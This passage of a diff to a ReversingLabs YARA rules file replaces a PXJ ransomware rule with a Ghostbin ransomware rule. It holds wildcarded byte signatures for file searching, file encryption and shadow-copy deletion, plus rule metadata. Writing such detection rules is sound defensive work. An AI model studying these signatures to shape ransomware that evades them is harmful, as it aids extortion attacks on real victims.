+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0C 08 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 25
+            28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ??
+            00 02 18 28 ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ??
+            6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59
         }
-		$search_and_encrypt_p2 = {
-            40 80 7C 04 ?? ?? 75 ?? 8A 4C 04 ?? 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 80 7C 04 ??
-            ?? 75 ?? 80 7C 04 ?? ?? 74 ?? 80 F9 ?? 75 ?? B3 ?? 38 5C 04 ?? 75 ?? 80 7C 04 ?? ??
-            75 ?? 80 7C 04 ?? ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 05 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? FF 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? B3 ?? B2 ?? 80 F9 ?? 75 ?? 38 5C 04 ?? 75
-            ?? 80 7C 04 ?? ?? 75 ?? 38 5C 04 ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ??
-            80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ??
-            80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 0F 84 ?? ?? ?? ?? 84 D2 0F 84 ?? ?? ?? ?? 8A 0F
-            33 D2 84 C9 74 ?? 8D B4 24 ?? ?? ?? ?? 8B C7 2B F7 8D A4 24 ?? ?? ?? ?? 88 0C 06 8A
-            48 ?? 40 42 84 C9 75 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 0F B6
-            05 ?? ?? ?? ?? C6 84 14 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 8B 15
-            ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 33 C0 6A ?? 89 8C 24 ?? ?? ?? ?? 89 94 24 ?? ?? ??
-            ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 68 ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 0D ??
-            ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B E8 A1 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 8B 0D ?? ?? ??
-            ?? 89 84 24 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 66 8B 15 ?? ?? ??
-            ?? 89 8C 24 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 8D 74 24 ?? 89 6C 24 ?? 66 89
+		$main_ransomware_function_p2 = {
+            28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ??
+            ?? 5B 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23
+            ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ??
+            ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ??
+            ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ??
+            ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F ?? DA 73 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ??
+            ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ??
+            ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F
         }
-		$search_and_encrypt_p3 = {
-            94 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ??
-            52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51
-            E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 56
-            68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50
-            8D 84 24 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A
-            ?? 51 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? FF 05 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52
-            FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 2B F0 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 03
-            C6 50 8D 8C 24 ?? ?? ?? ?? 51 8B D1 52 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? FF 05 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 55 E8 ?? ??
-            ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 56 FF 15
+		$search_files = {
+            00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 38 ?? ?? ?? ?? 06 6F ?? ?? ??
+            ?? 0B 07 07 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE
+            ?? 0C 08 2C ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0D 09 2C ?? 00 02 07 07 72 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 07 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ??
+            ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? DE ?? 00 00 00 00 00 00 06 6F
+            ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ??
+            13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ??
+            00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ??
+            ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ??
+            ?? ?? ?? 16 FE ?? 13 ?? 11 ?? 2C ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 13 ??
+            11 ?? 2C ?? 00 02 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ??
+            28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ??
+            ?? ?? ?? DE ?? 00 00 00 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11
+            ?? 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 17 D6 13 ??
+            11 ?? 11 ?? 8E 69 FE ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? 2A
+        }
+		$encrypt_files = {
+            00 00 03 19 17 73 ?? ?? ?? ?? 0A 04 18 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 08 28 ?? ?? ?? ?? 05 6F
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 28 ?? ?? ?? ?? 05 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ??
+            0D 07 09 17 73 ?? ?? ?? ?? 13 ?? 06 6F ?? ?? ?? ?? 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 13 ?? 06 11 ?? 16
+            11 ?? 8E 69 6F ?? ?? ?? ?? 26 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07
+            6F ?? ?? ?? ?? 00 06 6F ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($search_and_encrypt_p*))
+		uint16(0)==0x5A4D and (( all of ($main_ransomware_function_p*)) and $search_files and $encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_PXJ : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostbin : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects PXJ ransomware."
+		description = "Yara rule that detects Ghostbin ransomware."
 		author = "ReversingLabs"
-		id = "c1549905-5b31-55c0-a275-0ab8133b3504"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "4d576854-7a30-527d-9a7a-f22018183540"
+		date = "2021-09-06"
+		modified = "2021-09-06"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.PXJ.yara#L1-L158"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e88d27dcd7ad3af459bd7e34fcc827822365441446b0e4e7bbec399c9a948cb7"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara#L1-L61"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3881e1c83ac2a31fdd8a081d3e6e6ea759771dbc183c3af9528930619bcddf9e"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29401,147 +31093,54 @@ rule REVERSINGLABS_Win32_Ransomware_PXJ : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "PXJ"
+		tc_detection_name = "Ghostbin"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 68 ?? ?? ?? ??
-            33 F6 8D 8D ?? ?? ?? ?? 33 C0 56 51 89 9D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 53 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ??
-            ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ??
-            ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 53 8D 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B
-            50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ??
-            3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66
-        }
-		$find_files_p2 = {
-            3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB
-            ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 9F ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF
-            66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
-            ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51
-            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ??
-            ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ??
-            ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D
-            85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3A C1 75 ?? 01 8F ?? ?? ?? ?? 11
-            B7 ?? ?? ?? ?? EB ?? 01 8F ?? ?? ?? ?? 11 B7 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 8B 4D ?? 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1
-            ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 89 85 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4D
-            ?? 8B 55 ?? 51 52 E8 ?? ?? ?? ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 53 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 51 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 33 F6 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ??
-            46 83 FE ?? 7C ?? 8D 55 ?? 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ??
-            ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 6A ?? 51
-        }
-		$encrypt_files_p2 = {
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 95
-            ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 56
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 85 ??
-            ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
-            8B 3D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50
-            56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52
-            8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D
-            95 ?? ?? ?? ?? 52 56 FF D7 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ??
-            ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 8B 9D
-            ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 D2 52 52 52 33 C9 51 50
-            FF 15 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B C6 8D
-        }
-		$encrypt_files_p3 = {
-            48 ?? 8B FF 66 8B 10 83 C0 ?? 66 85 D2 75 ?? 2B C1 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51
-            8D 14 00 8B 83 ?? ?? ?? ?? 52 56 50 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ??
-            51 6A ?? 68 ?? ?? ?? ?? 52 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ??
-            8D 4D ?? 51 52 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ??
-            ?? 51 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50
-            51 FF D7 8B B5 ?? ?? ?? ?? 6A ?? 33 C9 51 51 B8 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
-            85 C0 74 ?? 33 DB EB ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ??
-            52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ??
-            ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95
-            ?? ?? ?? ?? 83 C4 ?? 52 FF 15 ?? ?? ?? ?? 33 C9 51 51 33 C0 51 50 8B 83 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 56
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
-            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+		$setup_env = {
+            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C
+            08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 18 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16
+            28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 19 FE 01 08 6F ?? ?? ?? ?? 18 FE 01 60 2C ?? 08
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 17 D6 0B 07 06 8E 69 32 ?? 00 72 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 2C ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F ?? 16 28 ?? ?? ?? ?? 26 DE ?? 28 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? DE ?? 2A
         }
-		$delete_volumes_snapshots_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 33 FF 57 57 89
-            85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 57 68 ??
-            ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF
-            D6 57 57 8D 8D ?? ?? ?? ?? 51 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ??
-            6A ?? 57 57 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F
-            84 ?? ?? ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ??
-            ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 33 FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D 9B ?? ?? ?? ?? 8A 08 40 84
-            C9 75 ?? 2B C2 57 8D 95 ?? ?? ?? ?? 52 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ??
-            ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 88 0E E8 ?? ?? ?? ?? 8D B5 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ??
-            ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
-            ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF
-            15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8B FF 66 8B 10 66 3B 11 75 ??
